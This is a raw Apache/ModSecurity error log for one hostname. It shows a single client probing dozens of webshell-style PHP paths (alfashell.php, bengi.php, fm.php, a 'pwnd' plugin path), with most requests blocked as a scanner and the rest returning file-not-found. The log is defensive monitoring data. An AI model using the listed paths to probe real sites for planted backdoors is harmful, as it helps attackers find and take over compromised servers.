[Mon Mar 23 18:45:23.772739 2026] [:error] [pid 23439:tid 23449] [client 65.52.65.130:3988] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "acEZw6Zv8XIzUKdgaMeTIwAAAAA"]
[Mon Mar 23 18:45:24.298069 2026] [:error] [pid 35165:tid 35171] [client 65.52.65.130:4026] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bengi.php"] [unique_id "acEZxM6udpN6Esk7JKu_gQAAAYM"]
[Mon Mar 23 18:45:31.988809 2026] [:error] [pid 14573:tid 14580] [client 65.52.65.130:16875] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bengi.php"] [unique_id "acEZy--oSmHn3q4_J1HQNgAAAUU"]
[Mon Mar 23 18:45:32.581131 2026] [:error] [pid 23440:tid 23485] [client 65.52.65.130:16820] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bengi.php"] [unique_id "acEZzD49_8n8h_ttcUo2OAAAAEk"]
[Mon Mar 23 18:45:33.103288 2026] [:error] [pid 57265:tid 57285] [client 65.52.65.130:3986] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bengi.php"] [unique_id "acEZzWNLjPJJkhuqCshJ-gAAARI"]
[Mon Mar 23 18:45:33.688037 2026] [:error] [pid 14573:tid 14587] [client 65.52.65.130:3847] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "acEZze-oSmHn3q4_J1HQOgAAAUw"]
[Mon Mar 23 18:45:34.268270 2026] [:error] [pid 23539:tid 23559] [client 65.52.65.130:4008] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "acEZzn7Dh3qWGSpIAZUkKwAAAMs"]
[Mon Mar 23 18:45:40.442958 2026] [:error] [pid 23439:tid 23472] [client 65.52.65.130:3927] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "acEZ1KZv8XIzUKdgaMeTKwAAABc"]
[Mon Mar 23 18:45:44.087088 2026] [:error] [pid 57265:tid 57283] [client 65.52.65.130:3940] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "acEZ2GNLjPJJkhuqCshKHAAAARA"]
[Mon Mar 23 18:45:44.659281 2026] [:error] [pid 57265:tid 57274] [client 65.52.65.130:3930] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axx.php"] [unique_id "acEZ2GNLjPJJkhuqCshKHwAAAQc"]
[Mon Mar 23 18:45:45.342848 2026] [:error] [pid 23441:tid 23508] [client 65.52.65.130:4031] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axx.php"] [unique_id "acEZ2Rq7S-oOqSXZEr7f-wAAAIU"]
[Mon Mar 23 18:45:45.918121 2026] [:error] [pid 35165:tid 35181] [client 65.52.65.130:3995] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axx.php"] [unique_id "acEZ2c6udpN6Esk7JKu_kwAAAY0"]
[Mon Mar 23 18:45:46.499756 2026] [:error] [pid 23441:tid 23511] [client 65.52.65.130:3935] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axx.php"] [unique_id "acEZ2hq7S-oOqSXZEr7f_QAAAIg"]
[Mon Mar 23 18:45:48.083155 2026] [:error] [pid 57265:tid 57274] [client 65.52.65.130:3919] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfashell.php"] [unique_id "acEZ3GNLjPJJkhuqCshKJgAAAQc"]
[Mon Mar 23 18:45:48.672750 2026] [:error] [pid 23439:tid 23460] [client 65.52.65.130:3917] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfashell.php"] [unique_id "acEZ3KZv8XIzUKdgaMeTLgAAAAs"]
[Mon Mar 23 18:45:49.233455 2026] [:error] [pid 14573:tid 14588] [client 65.52.65.130:16818] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfashell.php"] [unique_id "acEZ3e-oSmHn3q4_J1HQSgAAAU0"]
[Mon Mar 23 18:45:49.866222 2026] [:error] [pid 35165:tid 35169] [client 65.52.65.130:4023] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfashell.php"] [unique_id "acEZ3c6udpN6Esk7JKu_mQAAAYE"]
[Mon Mar 23 18:45:53.550302 2026] [:error] [pid 57265:tid 57268] [client 65.52.65.130:3934] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fm.php"] [unique_id "acEZ4WNLjPJJkhuqCshKLgAAAQE"]
[Mon Mar 23 18:45:54.141024 2026] [:error] [pid 23441:tid 23516] [client 65.52.65.130:4015] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fm.php"] [unique_id "acEZ4hq7S-oOqSXZEr7gAgAAAI0"]
[Mon Mar 23 18:45:54.684136 2026] [:error] [pid 14573:tid 14575] [client 65.52.65.130:3997] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fm.php"] [unique_id "acEZ4u-oSmHn3q4_J1HQTgAAAUA"]
[Mon Mar 23 18:45:56.288699 2026] [:error] [pid 14573:tid 14580] [client 65.52.65.130:4014] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fm.php"] [unique_id "acEZ5O-oSmHn3q4_J1HQVQAAAUU"]
[Mon Mar 23 18:45:56.840536 2026] [:error] [pid 23539:tid 23565] [client 65.52.65.130:3922] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/flower.php"] [unique_id "acEZ5H7Dh3qWGSpIAZUkQQAAANE"]
[Mon Mar 23 18:45:57.413609 2026] [:error] [pid 57265:tid 57289] [client 65.52.65.130:3923] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/flower.php"] [unique_id "acEZ5WNLjPJJkhuqCshKMgAAARY"]
[Mon Mar 23 18:45:58.065849 2026] [:error] [pid 14573:tid 14599] [client 65.52.65.130:3994] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/flower.php"] [unique_id "acEZ5u-oSmHn3q4_J1HQYQAAAVg"]
[Mon Mar 23 18:46:01.708475 2026] [:error] [pid 35165:tid 35179] [client 65.52.65.130:4009] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/flower.php"] [unique_id "acEZ6c6udpN6Esk7JKu_rQAAAYs"]
[Mon Mar 23 18:46:02.258998 2026] [:error] [pid 23539:tid 23564] [client 65.52.65.130:3855] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "acEZ6n7Dh3qWGSpIAZUkYgAAANA"]
[Mon Mar 23 18:46:02.815424 2026] [:error] [pid 14573:tid 14598] [client 65.52.65.130:3849] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "acEZ6u-oSmHn3q4_J1HQaQAAAVc"]
[Mon Mar 23 18:46:08.783967 2026] [:error] [pid 23440:tid 23484] [client 65.52.65.130:3906] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "acEZ8D49_8n8h_ttcUo2WAAAAEg"]
[Mon Mar 23 18:46:09.421029 2026] [:error] [pid 57265:tid 57282] [client 65.52.65.130:4019] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "acEZ8WNLjPJJkhuqCshKSwAAAQ8"]
[Mon Mar 23 18:46:09.975019 2026] [:error] [pid 14573:tid 14587] [client 65.52.65.130:4006] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "acEZ8e-oSmHn3q4_J1HQfAAAAUw"]
[Mon Mar 23 18:46:15.889663 2026] [:error] [pid 23439:tid 23472] [client 65.52.65.130:3969] File does not exist: /usr/local/apache/htdocs/suspended-page/acp.php
[Mon Mar 23 18:46:16.143913 2026] [:error] [pid 23439:tid 23459] [client 65.52.65.130:3969] File does not exist: /usr/local/apache/htdocs/suspended-page/sdm.php
[Mon Mar 23 18:46:16.402053 2026] [:error] [pid 23439:tid 23465] [client 65.52.65.130:3969] File does not exist: /usr/local/apache/htdocs/suspended-page/file52.php
[Mon Mar 23 18:46:16.657075 2026] [:error] [pid 23439:tid 23460] [client 65.52.65.130:3969] File does not exist: /usr/local/apache/htdocs/suspended-page/file48.php
[Mon Mar 23 18:46:16.910094 2026] [:error] [pid 23439:tid 23458] [client 65.52.65.130:3969] File does not exist: /usr/local/apache/htdocs/suspended-page/s.php
[Mon Mar 23 18:46:17.164220 2026] [:error] [pid 23439:tid 23456] [client 65.52.65.130:3969] File does not exist: /usr/local/apache/htdocs/suspended-page/g.php
[Mon Mar 23 18:46:17.687832 2026] [:error] [pid 23439:tid 23468] [client 65.52.65.130:3969] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Mon Mar 23 18:46:17.943413 2026] [:error] [pid 23439:tid 23457] [client 65.52.65.130:3969] File does not exist: /usr/local/apache/htdocs/suspended-page/atomlib.php
[Mon Mar 23 18:46:18.198997 2026] [:error] [pid 23439:tid 23473] [client 65.52.65.130:3969] File does not exist: /usr/local/apache/htdocs/suspended-page/hla.php
[Mon Mar 23 18:46:18.455945 2026] [:error] [pid 23439:tid 23451] [client 65.52.65.130:3969] File does not exist: /usr/local/apache/htdocs/suspended-page/gel4y.php
[Mon Mar 23 18:46:18.707463 2026] [:error] [pid 23439:tid 23461] [client 65.52.65.130:3969] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ew.php"] [unique_id "acEZ-qZv8XIzUKdgaMeTQwAAAAw"]
[Mon Mar 23 18:46:19.270647 2026] [:error] [pid 23440:tid 23483] [client 65.52.65.130:4092] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ew.php"] [unique_id "acEZ-z49_8n8h_ttcUo2XQAAAEc"]
[Mon Mar 23 18:46:19.791090 2026] [:error] [pid 14573:tid 14598] [client 65.52.65.130:3894] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ew.php"] [unique_id "acEZ---oSmHn3q4_J1HQjAAAAVc"]
[Mon Mar 23 18:46:20.297818 2026] [:error] [pid 14573:tid 14589] [client 65.52.65.130:3932] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ew.php"] [unique_id "acEZ_O-oSmHn3q4_J1HQjgAAAU4"]
[Mon Mar 23 18:46:20.917837 2026] [:error] [pid 35165:tid 35186] [client 65.52.65.130:4030] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/css.php"] [unique_id "acEZ_M6udpN6Esk7JKu_1gAAAZI"]
[Mon Mar 23 18:46:21.463264 2026] [:error] [pid 35165:tid 35177] [client 65.52.65.130:3929] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/css.php"] [unique_id "acEZ_c6udpN6Esk7JKu_2AAAAYk"]
[Mon Mar 23 18:46:22.040968 2026] [:error] [pid 23440:tid 23484] [client 65.52.65.130:4045] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/css.php"] [unique_id "acEZ_j49_8n8h_ttcUo2YQAAAEg"]
[Mon Mar 23 18:46:22.662046 2026] [:error] [pid 14573:tid 14578] [client 65.52.65.130:3959] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/css.php"] [unique_id "acEZ_u-oSmHn3q4_J1HQkwAAAUM"]
[Mon Mar 23 18:46:23.174037 2026] [:error] [pid 14573:tid 14576] [client 65.52.65.130:16866] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goat1.php"] [unique_id "acEZ_--oSmHn3q4_J1HQlwAAAUE"]
[Mon Mar 23 18:46:23.712632 2026] [:error] [pid 14573:tid 14597] [client 65.52.65.130:4000] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goat1.php"] [unique_id "acEZ_--oSmHn3q4_J1HQmAAAAVY"]
[Mon Mar 23 18:46:24.325868 2026] [:error] [pid 23539:tid 23557] [client 65.52.65.130:3955] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goat1.php"] [unique_id "acEaAH7Dh3qWGSpIAZUkjgAAAMk"]
[Mon Mar 23 18:46:24.915053 2026] [:error] [pid 23539:tid 23562] [client 65.52.65.130:3115] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goat1.php"] [unique_id "acEaAH7Dh3qWGSpIAZUkkQAAAM4"]
[Mon Mar 23 18:46:25.453964 2026] [:error] [pid 14573:tid 14594] [client 65.52.65.130:3918] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file21.php"] [unique_id "acEaAe-oSmHn3q4_J1HQnQAAAVM"]
[Mon Mar 23 18:46:27.093611 2026] [:error] [pid 35165:tid 35190] [client 65.52.65.130:3989] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file21.php"] [unique_id "acEaA86udpN6Esk7JKu_2gAAAZY"]
[Mon Mar 23 18:46:27.643844 2026] [:error] [pid 14573:tid 14592] [client 65.52.65.130:16838] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file21.php"] [unique_id "acEaA--oSmHn3q4_J1HQowAAAVE"]
[Mon Mar 23 18:46:28.290620 2026] [:error] [pid 57265:tid 57290] [client 65.52.65.130:3957] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file21.php"] [unique_id "acEaBGNLjPJJkhuqCshKXwAAARc"]
[Mon Mar 23 18:46:28.943348 2026] [:error] [pid 57265:tid 57274] [client 65.52.65.130:3870] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class19.php"] [unique_id "acEaBGNLjPJJkhuqCshKYwAAAQc"]
[Mon Mar 23 18:46:29.820717 2026] [:error] [pid 14573:tid 14587] [client 65.52.65.130:3904] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class19.php"] [unique_id "acEaBe-oSmHn3q4_J1HQpAAAAUw"]
[Mon Mar 23 18:46:32.369738 2026] [:error] [pid 23441:tid 23525] [client 65.52.65.130:3890] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class19.php"] [unique_id "acEaCBq7S-oOqSXZEr7gSAAAAJY"]
[Mon Mar 23 18:46:32.893113 2026] [:error] [pid 23441:tid 23515] [client 65.52.65.130:3963] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class19.php"] [unique_id "acEaCBq7S-oOqSXZEr7gSQAAAIw"]
[Mon Mar 23 18:46:35.615297 2026] [:error] [pid 35165:tid 35175] [client 65.52.65.130:4073] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2clas.php"] [unique_id "acEaC86udpN6Esk7JKu_3gAAAYc"]
[Mon Mar 23 18:46:36.656559 2026] [:error] [pid 23539:tid 23551] [client 65.52.65.130:3907] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2clas.php"] [unique_id "acEaDH7Dh3qWGSpIAZUkmAAAAMM"]
